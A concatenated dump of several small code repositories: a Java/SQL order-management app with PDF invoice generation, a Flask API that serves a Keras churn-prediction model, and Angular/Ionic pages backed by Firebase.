findByName(String name) { List<Pair<String, Object>> rules = new LinkedList<>(); rules.add(new Pair<>("name", name)); List<Client> response = this.select(rules, OrderTypes.ASC); if (response != null && !response.isEmpty()) { return this.select(rules, OrderTypes.ASC).get(0); } return null; } } <file_sep>package exceptions; public class OutOfStock extends Exception { public OutOfStock() { super("Not enough stock"); } } <file_sep>package dao; import model.Invoice; import model.Order; import model.Pair; import util.OrderTypes; import java.util.LinkedList; import java.util.List; public class InvoiceDAO extends AbstractDAO<Invoice> { /** * Searches for invoices by an Order * * @param order The given order * @return List of Invoices that were found */ public List<Invoice> findByOrder(Order order) { this.previous = order; List<Pair<String, Object>> reference = new LinkedList<>(); reference.add(new Pair<>("_order", order.getId())); return select(reference, OrderTypes.ASC); } } <file_sep>package model; import bll.ClientBLL; import java.util.LinkedList; import java.util.List; public class Order { private Integer id; private Client client; private List<Invoice> x_invoices; public Order() { x_invoices = new LinkedList<>(); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public Integer getClient() { return client.getId(); } public Client getClientObj() { return client; } public void setClient(Integer client) { ClientBLL clientBLL = new ClientBLL(); this.client = clientBLL.findById(client); } public void setClient(Client client) { this.client = client; } public List<Invoice> getX_invoices() { return x_invoices; } /** * Check if current order contain's the invoice or not * * @param invoice The given invoice * @return True if contains | False if doesn't contain */ private Boolean containsInvoice(Invoice invoice) { for (Invoice inv : x_invoices) { if (inv.equals(invoice)) { return true; } } return false; } /** * Add invoices the the current object's list's invoices if they are not inside already * * @param x_invoices List of Invoices */ public void addX_Invoices(List<Invoice> x_invoices) { for (Invoice invoice : x_invoices) { if (!containsInvoice(invoice)) { this.x_invoices.add(invoice); } } } public void addX_Invoices(Invoice invoice) { this.x_invoices.add(invoice); } } <file_sep>package bll; import dao.ProductDAO; import model.Product; import java.util.List; import java.util.NoSuchElementException; public class ProductBLL { private final ProductDAO productDAO; public ProductBLL() { productDAO = new ProductDAO(); } /** * Insert product into DB by Name, Quantity and Price * * @param name Given name * @param quantity Given quantity * @param price Given price * @return True on success | False on failure */ public Boolean insert(String name, Double quantity, Double price) { Product product = new Product(name, quantity, price); return this.insert(product); } /** * Insert product into DB by Object * * @param product The given object * @return True on success | False on failure */ public Boolean insert(Product product) { Product oldProduct = productDAO.findByName(product); if (oldProduct != null) { oldProduct.addQuantity(product.getQuantity()); return productDAO.update(oldProduct); } return productDAO.insert(product); } /** * Delete Product from DB by name * * @param name Given name * @return True on success | False on failure */ public Boolean delete(String name) { return productDAO.deleteByName(name); } /** * Find product from DB by ID * * @param id Given id * @return Product */ public Product findById(int id) { Product st = productDAO.findById(id); if (st == null) { throw new NoSuchElementException("The product with id =" + id + " was not found!"); } return st; } /** * Find product from DB by Name * * @param name Given name * @return Product */ public Product findByName(String name) { Product st = productDAO.findByName(name); if (st == null) { throw new NoSuchElementException("The product with name =" + name + " was not found!"); } return st; } /** * Find all the product in DB * * @return List of Products */ public List<Product> findAll() { List<Product> st = productDAO.findAll(); if (st == null) { throw new NoSuchElementException("No products were found!"); } return st; } /** * Update a product in the DB * * @param product Given product * @return True on success | False on failure */ public Boolean update(Product product) { return productDAO.update(product); } } <file_sep>package presentation; import com.itextpdf.text.*; import com.itextpdf.text.pdf.PdfPCell; import com.itextpdf.text.pdf.PdfPTable; import com.itextpdf.text.pdf.PdfWriter; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.lang.reflect.Field; import java.util.List; /** * Generates PDFs * * @param <T> */ public class View<T> { PdfPTable table; Chunk text; public View() { text = null; table = null; } /** * Creates a new file, adds content to it and prints it * @param input The name of the output file */ public void print(String input) { try { Document document = new Document(); PdfWriter.getInstance(document, new FileOutputStream(input)); document.open(); if (text != null) { document.add(text); } if (table != null) { document.add(table); } document.close(); } catch (DocumentException | FileNotFoundException e) { e.printStackTrace(); } finally { text = null; table = null; } } /** * Gets the fields names for an object * * @param obj The given object * @return String array of the field names */ private String[] getDeclaredFields(T obj) { String[] fields = new String[obj.getClass().getDeclaredFields().length]; int size = 0; for (Field field : obj.getClass().getDeclaredFields()) { String name = field.getName(); if (!name.startsWith("x_")) { fields[size++] = name; } } return fields; } /** * Add table header to file * * @param fields String array of header names */ public void addTableHeader(String[] fields) { table = new PdfPTable(fields.length); for (String field : fields) { PdfPCell header = new PdfPCell(); header.setBackgroundColor(BaseColor.LIGHT_GRAY); header.setBorderWidth(2); header.setPhrase(new Phrase(field)); table.addCell(header); } } /** * Add table header to file * * @param obj Object whose field names will be added as table headers */ public void addTableHeader(T obj) { String[] fields = getDeclaredFields(obj); this.addTableHeader(fields); } /** * Add rows to the table * * @param fields String array of cell values */ public void addRows(String[] fields) { for (String field : fields) { table.addCell(field); } } /** * Add rows to the table * * @param objects Object whose field values will be added as table headers */ public void addRows(List<T> objects) { for (T object : objects) { for (Field field : object.getClass().getDeclaredFields()) { field.setAccessible(true); try { Object value = field.get(object); table.addCell(value.toString()); } catch (IllegalAccessException e) { e.printStackTrace(); } } } } /** * @param message String that will be added to the output files first line */ public void addMessage(String message) { Font font = FontFactory.getFont(FontFactory.COURIER, 16, BaseColor.BLACK); text = new Chunk(message, font); } } <file_sep>package model; import bll.OrderBLL; import bll.ProductBLL; import java.util.Objects; public class Invoice { private Integer id; private Product product; private Order _order; private Double product_quantity; public Invoice() { } public Invoice(Order order, Product product, Double quantity) { this._order = order; this.product = product; this.product_quantity = quantity; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Invoice invoice = (Invoice) o; return Objects.equals(id, invoice.id); } @Override public int hashCode() { return Objects.hash(id); } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public Product getProductObj() { return product; } public Integer getProduct() { return product.getId(); } public void setProduct(Integer product) { ProductBLL productBLL = new ProductBLL(); this.product = productBLL.findById(product); } public void setProduct(Product product) { this.product = product; } public Integer get_order() { return _order.getId(); } public Order get_orderObj() { return _order; } public void set_order(Integer order) { OrderBLL orderBLL = new OrderBLL(); this._order = orderBLL.findById(order, this); } public void set_order(Order order) { this._order = order; } public Double getProduct_quantity() { return product_quantity; } public void setProduct_quantity(Double product_quantity) { this.product_quantity = product_quantity; } } <file_sep>-- phpMyAdmin SQL Dump -- version 4.6.6deb5 -- https://www.phpmyadmin.net/ -- -- Host: localhost:3306 -- Generation Time: Apr 23, 2020 at 07:31 PM -- Server version: 5.7.29-0ubuntu0.18.04.1 -- PHP Version: 7.2.29-1+ubuntu18.04.1+deb.sury.org+1 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `order_management` -- -- -------------------------------------------------------- -- -- Table structure for table `om_Client` -- CREATE TABLE `om_Client` ( `id` int(11) NOT NULL, `name` varchar(45) NOT NULL, `address` varchar(45) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `om_Invoice` -- CREATE TABLE `om_Invoice` ( `id` int(11) NOT NULL, `_order` int(11) NOT NULL, `product` int(11) NOT NULL, `product_quantity` double NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `om_Order` -- CREATE TABLE `om_Order` ( `id` int(11) NOT NULL, `client` int(11) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -------------------------------------------------------- -- -- Table structure for table `om_Product` -- CREATE TABLE `om_Product` ( `id` int(11) NOT NULL, `name` varchar(45) NOT NULL, `quantity` double NOT NULL, `price` double NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1; -- -- Indexes for dumped tables -- -- -- Indexes for table `om_Client` -- ALTER TABLE `om_Client` ADD PRIMARY KEY (`id`); -- -- Indexes for table `om_Invoice` -- ALTER TABLE `om_Invoice` ADD PRIMARY KEY (`id`); -- -- Indexes for table `om_Order` -- ALTER TABLE `om_Order` ADD PRIMARY KEY (`id`); -- -- Indexes for table `om_Product` -- ALTER TABLE `om_Product` ADD PRIMARY KEY (`id`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `om_Client` -- ALTER TABLE `om_Client` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `om_Invoice` -- ALTER TABLE `om_Invoice` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `om_Order` -- ALTER TABLE `om_Order` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; -- -- AUTO_INCREMENT for table `om_Product` -- ALTER TABLE `om_Product` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep>package util; /** * Defines the types of queries for SQL */ public enum StatementTypes { SELECT, INSERT, UPDATE, DELETE, ALTER } <file_sep>package start; import presentation.Controller; import java.io.IOException; public class Start { public static void main(String[] args) { Controller controller = new Controller(); try { if (args.length > 0) { controller.parseFile(args[0]); } else { controller.parseFile(null); } } catch (IOException e) { e.printStackTrace(); } } }
015595c534a5757fb4e0c18c75288d06e330ff2b
[ "Java", "SQL" ]
12
Java
hunordbcz/Order-Management
03d4243422a3ca4355af51c39038a00f496855cd
50156c5592efadbbcaef7c34fd39544be15d43bd
refs/heads/master
<repo_name>Amritsekhon25/Angular_SocialLogin<file_sep>/src/app/api.service.ts import { Injectable } from '@angular/core'; import { HttpClient, HttpHeaders } from '@angular/common/http'; import { SocialUser } from 'angularx-social-login'; @Injectable({ providedIn: 'root' }) export class ApiService { postId:number; constructor(private http:HttpClient) { } saveUser(user:SocialUser) { let token =null; token = window.localStorage.getItem('token'); this.checkToken(token); token = window.localStorage.getItem('token'); const headers = { 'Content-Type': 'application/json', 'Authorization': 'bearer ' + token }; const body = { id:user.id,username: user.firstName,emailId:user.email,loginProvider:user.provider }; this.http.post<any>('http://localhost:8080/user/saveUser', body, {headers}) .subscribe({ next: data => { }, error: error => { } }) } getToken() { const headers = { 'Content-Type': 'application/json', 'Authorization': 'Basic ' + btoa('test1:secret') }; this.http.post<any>('http://localhost:8080/oauth/token?grant_type=client_credentials',null, {headers} ).subscribe(data => { if(data!=null) { window.localStorage.setItem('token', data.access_token); } else{ alert('error while fetching token from oauth2 server'); } }) } checkToken(token:string) { const headers = { 'Content-Type': 'application/json', 'Authorization': 'Basic ' + btoa('test1:secret') }; this.http.post<any>('http://localhost:8080/oauth/check_token?token='+token,null, {headers} ) .subscribe({ next: data => { }, error: error => { this.getToken(); } }) } } <file_sep>/src/app/welcome/welcome.component.ts import { Component, OnInit } from '@angular/core'; import { SocialAuthService, SocialUser } from 'angularx-social-login'; import { Router } from '@angular/router'; import { GlobalService } from '../global.service'; @Component({ selector: 'app-welcome', templateUrl: './welcome.component.html', styleUrls: ['./welcome.component.css'] }) export class WelcomeComponent implements OnInit { user: SocialUser; constructor(private authService: SocialAuthService,private router: Router,private globalService:GlobalService) { } ngOnInit(): void { this.user=this.globalService.getData()[0]; this.globalService.data=[]; } async signOut() { await this.authService.signOut(); this.router.navigate(['']); } } <file_sep>/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { FormsModule } from '@angular/forms'; import { HttpClientModule } from '@angular/common/http'; import { AppComponent } from './app.component'; import { NavbarComponent } from './navbar/navbar.component'; import { DemoComponent } from './demo/demo.component'; import {routing} from "./app.routing"; import { SocialLoginModule, SocialAuthServiceConfig } from 'angularx-social-login'; import { GoogleLoginProvider, FacebookLoginProvider, AmazonLoginProvider, } from 'angularx-social-login'; import { WelcomeComponent } from './welcome/welcome.component'; import { GlobalService } from './global.service'; @NgModule({ declarations: [AppComponent, NavbarComponent, DemoComponent, WelcomeComponent], imports: [BrowserModule, FormsModule, HttpClientModule, SocialLoginModule,routing], providers: [ { provide: 'SocialAuthServiceConfig', useValue: { autoLogin: true, providers: [ { id: GoogleLoginProvider.PROVIDER_ID, provider: new GoogleLoginProvider( '173245694890-3mnknn5iasualc6rjhu1oo534es4d9vt.apps.googleusercontent.com' ), }, { id: FacebookLoginProvider.PROVIDER_ID, provider: new FacebookLoginProvider('311368696691160'), }, ], } as SocialAuthServiceConfig, },GlobalService ], bootstrap: [AppComponent], }) export class AppModule {} <file_sep>/src/app/app.routing.ts import { RouterModule, Routes } from '@angular/router'; import {DemoComponent} from "./demo/demo.component"; import {AppComponent} from "./app.component"; import { WelcomeComponent } from './welcome/welcome.component'; const routes: Routes = [ { path: '', component: DemoComponent }, { path: 'home', component: WelcomeComponent }, ]; export const routing = RouterModule.forRoot(routes);<file_sep>/src/app/global.service.ts import { Injectable } from '@angular/core'; import { GlobalData } from './globalData'; import { SocialUser } from 'angularx-social-login'; @Injectable({ providedIn: 'root' }) export class GlobalService { constructor() { } public data:SocialUser[] = []; setData(data: SocialUser) { this.data.push(data); } getData(): SocialUser[] { return this.data; } } <file_sep>/src/app/demo/demo.component.ts import { Component, OnInit } from '@angular/core'; import { SocialAuthService } from 'angularx-social-login'; import { SocialUser } from 'angularx-social-login'; import {ApiService} from "../api.service"; import { GoogleLoginProvider, FacebookLoginProvider } from 'angularx-social-login'; import { HttpClient } from '@angular/common/http'; import { Router } from '@angular/router'; import { GlobalService } from '../global.service'; @Component({ selector: 'app-demo', templateUrl: './demo.component.html', styleUrls: ['./demo.component.css'] }) export class DemoComponent implements OnInit { user: SocialUser; postId:number; constructor(private authService: SocialAuthService,private apiService: ApiService,private router: Router,private globalService:GlobalService) { } ngOnInit() { this.authService.authState.subscribe(user => { this.user = user; if(this.user!=null) { this.apiService.saveUser(this.user); this.globalService.setData(this.user); this.router.navigate(['home']); } }); } // signInWithGoogle(): void { // this.authService.signIn(GoogleLoginProvider.PROVIDER_ID); // } async signInWithGoogle() { await this.authService.signIn(GoogleLoginProvider.PROVIDER_ID); //this.saveData(); } signInWithFB(): void { this.authService.signIn(FacebookLoginProvider.PROVIDER_ID); } signOut(): void { this.authService.signOut(); } }
b64e55bd07840becf49cf0aa23033e9068920a81
[ "TypeScript" ]
6
TypeScript
Amritsekhon25/Angular_SocialLogin
6f26612a9d3c52052f647fc19f0dbcfc291deb8e
f303fa2e8c9f0d2f63ee7fb05582aedc6a366193
refs/heads/master
<file_sep>from book import Book import time import csv ​ def insertion_sort(books): # loop through len-1 elements for i in range(1, len(books)): temp = books[i] j = i while j > 0 and temp.genre < books[j - 1].genre: # shift left until correct genre found books[j] = books[j - 1] j -= 1 # insert at correct position books[j] = temp ​ return books ​ # Version A: Conventional, recursive Quick Sort def quick_sort_A( books, low, high ): # TO-DO: implement Quick Sort ​ return books ​ ​ # Version B: # NOT done in place because for large inputs, we # exceed Python's maximum recursion depth with # in-place Quick Sort def quick_sort_B( books ): # STRETCH: implement Quick Sort for larger datasets ​ return books ​ ​ def book_sort(books): # STRETCH: combine Insertion & Quick Sort for # an improved sorting algorithm return books ​ # Read in book data from CSV file # provided by https://github.com/uchidalab/book-dataset with open('book_data.csv') as csvfile: my_books_long = [] data = csv.DictReader(csvfile) for book in data: #print(book['title'], book['author'], book['genre']) my_books_long.append(Book(book['title'], book['author'], book['genre'])) my_books_medium = my_books_long[0:997] my_books_short = my_books_long[0:10] ​ print("***********~Test with 10 Books~**********") start = time.time() sorted_books = insertion_sort(my_books_short) end = time.time() print("Insertion Sort took: " + str((end - start)*1000) + " milliseconds") ​ start = time.time() sorted_books = quick_sort_A(my_books_short, 0, len(my_books_short)) end = time.time() print("Quick Sort (A) took: " + str((end - start)*1000) + " milliseconds") ​ ​ print("\n***********~Test with ~1,000 Books~**********") start = time.time() sorted_books = insertion_sort(my_books_medium) end = time.time() print("Insertion Sort took: " + str((end - start)*1000) + " milliseconds") ​ start = time.time() sorted_books = quick_sort_A(my_books_medium, 0, len(my_books_medium)) end = time.time() print("Quick Sort (A) took: " + str((end - start)*1000) + " milliseconds") ​ ​ print("\n**********~Test with +2,000 Books~**********") start = time.time() sorted_books = insertion_sort(my_books_long) end = time.time() print("Insertion Sort took: " + str((end - start)*1000) + " milliseconds") ​ # start = time.time() # sorted_books = quick_sort_B(my_books_long) # end = time.time() # print("Quick Sort (B) took: " + str((end - start)*1000) + " milliseconds") ​ # start = time.time() # sorted_books = book_sort(my_books_long) # end = time.time() # print("Book Sort took: " + str((end - start)*1000) + " milliseconds\n") def merge_sort(arr): if len(arr) == 0: return None #Base if len(arr) == 1: return arr #Recursive else: # divide 'arr' into a LHS, RHS merge_sort(LHS) merge_sort(RHS) arr = merge(LHS, RHS) return arr # Pre-req: a, b are SORTED lists def merge_helper(a,b): sorted = [] ai=0 bi = 0 count = len(a) + len(b) while len(sorted) < count if ai >= len(a): sorted.append(b[bi]) bi +=1 elif bi >= len(b): sorted.append(a[ai]) elif a[ai] < b[bi]; sorted.append(a[ai]) ai += 1 elif a[ai] >= b[bi] sorted.append(b[bi]) bi += 1
56c0caa67b3a8e093cb4632203f3ea151e14edf7
[ "Python" ]
1
Python
cishocksr/cs-module-project-recursive-sorting-cspt9
edf511c025cd3b32c8e64409fbdaa30228cd1949
d73833830e23a7e3571fb41da1abef8e40d93ccc
refs/heads/master
<repo_name>cloudtales/natours-webapp<file_sep>/dev-data/data/import-dev-data.js const mongoose = require('mongoose'); const dotenv = require('dotenv'); const Tour = require('./../../models/tourModel'); const User = require('./../../models/userModel'); const Review = require('./../../models/reviewModel'); const tours = require('./tours.json'); const reviews = require('./reviews.json'); const users = require('./users.json'); dotenv.config({ path: './config.env' }); const DB = process.env.DATABASE.replace( '<PASSWORD>', process.env.DATABASE_PASSWORD ); // IMPORT DATA INTO DATABASE const importData = async () => { await Tour.create(tours); await Review.create(reviews); await User.create(users, { validateBeforeSave: false }); // Turn of validation (We don't have a passwordConfirm) console.log('Data succesfully loaded'); }; // DELETE ALL DATA FROM COLLECTION const deleteData = async () => { await Tour.deleteMany(); await User.deleteMany(); await Review.deleteMany(); console.log('Data succesfully deleted'); }; (async () => { try { await mongoose.connect(DB, { useNewUrlParser: true, useCreateIndex: true, useFindAndModify: false }); if (process.argv[2] === '--delete') { await deleteData(); } else if (process.argv[2] == '--import') { await importData(); } else { console.log("Please specify '--import' or '--delete'"); } await mongoose.disconnect(); } catch (err) { console.log(err); } })(); <file_sep>/server.js const mongoose = require('mongoose'); const dotenv = require('dotenv'); dotenv.config({ path: './config.env' }); let server; const shutdown = async () => { await server.close(); await mongoose.disconnect(); process.exit(1); }; process.on('unhandledRejection', err => { console.error('UNHANDLED REJECTION! 💥 Shutting down...'); console.error(err); shutdown(); }); // Handle all uncaught exceptions process.on('uncaughtException', err => { console.error('UNCAUGHT EXCEPTION! 💥 Shutting down...'); console.error(err); process.exit(1); }); const app = require('./app'); //console.log(process.env); const DB = process.env.DATABASE.replace( '<PASSWORD>', process.env.DATABASE_PASSWORD ); const port = process.env.PORT || 3000; (async () => { await mongoose.connect(DB, { useNewUrlParser: true, useCreateIndex: true, useFindAndModify: false }); server = await app.listen(port); console.log(`App running on port ${port}...`); })(); <file_sep>/controllers/authController.js const { promisify } = require('util'); const crypto = require('crypto'); const jwt = require('jsonwebtoken'); const User = require('./../models/userModel'); const catchAsync = require('./../utils/catchAsync'); const AppError = require('./../utils/appError'); const sendEmail = require('./../utils/email'); const signToken = id => { return jwt.sign({ id }, process.env.JWT_SECRET, { expiresIn: process.env.JWT_EXPIRES_IN }); }; const createSendToken = (user, statusCode, res) => { const token = signToken(user._id); const cookieOptions = { expires: new Date( Date.now() + process.env.JWT_COOKIE_EXPIRS_IN * 24 * 60 * 60 * 1000 //dodgy..... get the date from the token ), // secure: true, // cookie wil only be send when we use https httpOnly: true // cookie can NOT be accessed or modified by the browser in any way to prevent Cross-Site Scripting attacks }; if (process.env.NODE_ENV === 'production') cookieOptions.secure = true; res.cookie('jwt', token, cookieOptions); res.status(statusCode).json({ status: 'success', token }); }; exports.signup = catchAsync(async (req, res, next) => { const newUser = await User.create({ name: req.body.name, email: req.body.email, password: <PASSWORD>, passwordConfirm: <PASSWORD>, passwordChangedAt: req.body.passwordChangedAt }); createSendToken(newUser, 201, res); }); exports.login = catchAsync(async (req, res, next) => { const { email, password } = req.body; // 1) Check if email and passwort exists in request if (!email || !password) { return next(new AppError('Please provide email and password', 400)); } // 2) Check if user exists && password is correct const user = await User.findOne({ email: email }).select('+password'); //explicitly select password, now shown by default (see model) if (!user || !(await user.correctPassword(password, user.password))) { return next(new AppError('Incorrect email or password', 401)); } //3) If everything ok, send token to client createSendToken(user, 200, res); }); exports.protect = catchAsync(async (req, res, next) => { // 1) Getting token and check if it's there let token; if ( req.headers.authorization && req.headers.authorization.startsWith('Bearer') ) { token = req.headers.authorization.split(' ')[1]; } if (!token) { return next( new AppError('You are not logged in! Please log in to get access', 401) ); } // 2) Verification of token const decoded = await promisify(jwt.verify)(token, process.env.JWT_SECRET); // If there is an error out wrapper catchAsync will handle this // 3) Check if user still exists const freshUser = await User.findById(decoded.id); if (!freshUser) { return next( new AppError('The user belonging to this token does no longer exist', 401) ); } // 4) Check if user changes password after the token was issued if (freshUser.changedPasswordAfter(decoded.iat)) { return next( new AppError('User recently changed password! Please log in again.', 401) ); } // GRANT ACCESS TO PROTECTED ROUTE req.user = freshUser; next(); }); // we return the actual middleware function and have aaccess to the roles array due to the closure exports.restrictTo = (...roles) => { return (req, res, next) => { // roles ['admin','lead-guide']. role ='user' if (!roles.includes(req.user.role)) { // req.user i savaible because we add this parameter in the protect middleware return next( new AppError( 'You do not have have permission to perform this action', 403 ) ); } next(); }; }; exports.forgotPassword = catchAsync(async (req, res, next) => { // 1) Get user based on POSTed emails const user = await User.findOne({ email: req.body.email }); if (!user) { return next(new AppError('There is no user with this email adress', 404)); } //2) Generate the random reset token const resetToken = user.createPasswordResetToken(); await user.save({ validateBeforeSave: false }); // ignore validation due to absence of passwordConfirm //3 Send it to users's email const resetURL = `${req.protocol}://${req.get( 'host' )}/api/v1/resetPassword/${resetToken}`; const message = `Forgot your password?\n\nSubmit a PATCH request with your new password and passwordConfirm to:\n\n${resetURL}\n\nIf you didn't forget your password, please ignore this email!`; // We can't rely on our catchAsync handler - If there is an error sending the email we need to remove the passwordResetToken, passwordResetExpires from the document (see catch block) try { await sendEmail({ email: user.email, subject: 'Your password reset token (Valid for 10min)', message }); } catch (err) { console.log(err); user.passwordResetToken = <PASSWORD>; user.passwordResetExpires = undefined; await user.save({ validateBeforeSave: false }); // ignore validation due to absence of passwordConfirm return next( new AppError( 'There was an error sending the email. Try again later!', 500 ) ); } res.status(200).json({ status: 'success', message: 'Token send to email!' }); }); exports.resetPassword = catchAsync(async (req, res, next) => { // 1) Get user based on the token const hashedToken = crypto .createHash('sha256') .update(req.params.token) .digest('hex'); const user = await User.findOne({ passwordResetToken: hashedToken, passwordResetExpires: { $gt: Date.now() } // mongo will take care of the converting (timestamp) }); // 2) If token has not expired, and there is user, set net passwordConfirm if (!user) { return next(new AppError('Token is invalid or has expired.', 400)); } const { password } = req.body; const { passwordConfirm } = req.body; user.password = <PASSWORD>; user.passwordConfirm = <PASSWORD>; user.passwordResetToken = <PASSWORD>; user.passwordResetExpires = undefined; // 3) Update changePasswordAt property for the users // Implemented in model (mongoose pre save hook) await user.save(); // 4) Log the user in, send JWT token createSendToken(user, 200, res); }); exports.updatePassword = catchAsync(async (req, res, next) => { // 1) Get user from collection-visit const user = await User.findById(req.user.id).select('+password'); if (!(await user.correctPassword(req.body.passwordCurrent, user.password))) { return next(new AppError('Your current password is wrong', 401)); } // 3) If so, update password user.password = <PASSWORD>; user.passwordConfirm = <PASSWORD>; await user.save(); // will trigger validation and encrypt password // 4) Log user in, send JWT createSendToken(user, 200, res); }); <file_sep>/README.md # natours-webapp Webapplication based on: - node - express - mongoDB
afbacb6fac9de974e8061707b4d632653cc29ab7
[ "JavaScript", "Markdown" ]
4
JavaScript
cloudtales/natours-webapp
0774899706a62b396d9841e786c666ee3ec7dc8e
15718efafbdb31a183ab67bf8fc31d03b637b20b
refs/heads/master
<repo_name>honeychintal/prediction_model_api<file_sep>/requirements.txt tensorflow scikit-learn scipy pandas numpy h5py Keras Flask Flask-RESTful Flask-JWT Flask-SQLAlchemy uwsgi psycopg2<file_sep>/app.py from flask import Flask, jsonify, request from keras.models import load_model import pickle import numpy as np new_model = load_model('ann_model.h5') sc = pickle.load(open('scaler.pkl','rb')) app = Flask(__name__) # This gives each file a unique name @app.route("/predict",methods=['POST']) def call_to_predict(): try: request_data = request.get_json() predict_req = [request_data['france'],request_data['germany'],request_data['spain'],request_data['CreditScore'], request_data['Gender'],request_data['Age'],request_data['Tenure'],request_data['Balance'],request_data['NumOfProducts'], request_data['HasCrCard'],request_data['IsActiveMember'],request_data['EstimatedSalary']] x_feature = np.array(predict_req) x_feature = np.reshape(x_feature, (1,-1)) # print("this is values of something",x_feature) y_pred = new_model.predict(sc.transform(x_feature)) # print("this is PREDICTED VALUE",y_pred) y_pred = y_pred[0][0] predict_json= { 'prediction value': float(y_pred), 'prediction': str(y_pred < 0.5) } # print("this is Flatten >>>>>>>>>>>>",y_pred) return jsonify({"PREDICTIONS":predict_json}) except: return jsonify({"An Error occured ": "Please check all input values / All inputs are mandatory"}) app.run(port=5000,debug=True)
31d015e37c2d0a9c93ec112e8e693f9aa4fdec7c
[ "Python", "Text" ]
2
Text
honeychintal/prediction_model_api
90c75835f590c9eee6413a238fe2d355abe3b521
4d47837423aceb4fa61feb6ef253d161d436b0fb
refs/heads/master
<file_sep>import { Component, OnInit } from '@angular/core'; import { AngularFireDatabase, AngularFireObject } from '@angular/fire/database'; import { Observable } from 'rxjs'; import { Answer } from 'src/app/model/answer'; import * as firebase from 'firebase'; import { NavController, NavParams } from '@ionic/angular'; import { Router, NavigationExtras } from '@angular/router'; import { ListanswerDetailPage } from '../listanswer-detail/listanswer-detail.page'; @Component({ selector: 'app-listanswer-admin', templateUrl: './listanswer-admin.page.html', styleUrls: ['./listanswer-admin.page.scss'], }) export class ListanswerAdminPage implements OnInit { items: Array<Observable<any>>; item: Observable<any>; item2: Observable<any>; answer = {} as Answer; d: Observable<any>; os: Observable<any>; ov: Observable<any>; ls: Observable<any>; lv: Observable<any>; result: Observable<any>; constructor(private db: AngularFireDatabase, private navCtrl: NavController, private router: Router) { // this.item = this.db.list(`Questionnaire/`).snapshotChanges(); // this.item.subscribe((data) => { // console.log(data); // this.items = data; // console.log(this.items); // }); // this.os = this.db.object(`Questionnaire/`).snapshotChanges(); // this.os.subscribe(data => // console.log(data) // ); // this.ov = this.db.object(`Questionnaire/`).valueChanges(); // this.ov.subscribe(data => // console.log(data) // ); this.ls = this.db.list(`Questionnaire/`).snapshotChanges(); } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } open(key: string) { // console.log(key) const navigationExtras: NavigationExtras = { queryParams: { date: JSON.stringify(key) } }; this.router.navigate(['listanswer-detail'], navigationExtras); // this.navController.navigateForward('listanswer-admin'); } goTo(key: string) { this.navCtrl.navigateForward('listanswer-detail'); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController } from '@ionic/angular'; @Component({ selector: 'app-home', templateUrl: './home.page.html', styleUrls: ['./home.page.scss'], }) export class HomePage implements OnInit { constructor(private navController: NavController) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } async openAssess() { this.navController.navigateForward('assess-a'); } async openInfo() { this.navController.navigateForward('info'); } async openSuggest() { this.navController.navigateForward('suggest'); } async openAbout() { this.navController.navigateForward('about'); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { NavController } from '@ionic/angular'; @Component({ selector: 'app-assess-ba', templateUrl: './assess-ba.page.html', styleUrls: ['./assess-ba.page.scss'], }) export class AssessBaPage implements OnInit { constructor(private navController: NavController) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } clickHome() { this.navController.navigateBack('home2'); } } <file_sep>import { Component, OnInit } from '@angular/core'; import { ModalController } from '@ionic/angular'; import { NavController } from '@ionic/angular'; import { Router } from '@angular/router'; import { InfoAPage } from '../info-a/info-a.page'; import { InfoBPage } from '../info-b/info-b.page'; import { InfoCPage } from '../info-c/info-c.page'; import { InfoDPage } from '../info-d/info-d.page'; import { InfoEPage } from '../info-e/info-e.page'; import { InfoFPage } from '../info-f/info-f.page'; @Component({ selector: 'app-info', templateUrl: './info.page.html', styleUrls: ['./info.page.scss'], }) export class InfoPage implements OnInit { constructor(public modalController: ModalController, private navController: NavController, private router: Router) { } ngOnInit() { } doRefresh(event) { console.log('Begin async operation'); setTimeout(() => { console.log('Async operation has ended'); event.target.complete(); }, 2000); } openA() { this.navController.navigateForward('info-a'); } openB() { this.navController.navigateForward('info-b'); } openC() { this.navController.navigateForward('info-c'); } openD() { this.navController.navigateForward('info-d'); } openE() { this.navController.navigateForward('info-e'); } openF() { this.navController.navigateForward('info-f'); } async openModalA() { const modal = await this.modalController.create({ component: InfoAPage }); return await modal.present(); } async openModalB() { const modal = await this.modalController.create({ component: InfoBPage }); return await modal.present(); } async openModalC() { const modal = await this.modalController.create({ component: InfoCPage }); return await modal.present(); } async openModalD() { const modal = await this.modalController.create({ component: InfoDPage }); return await 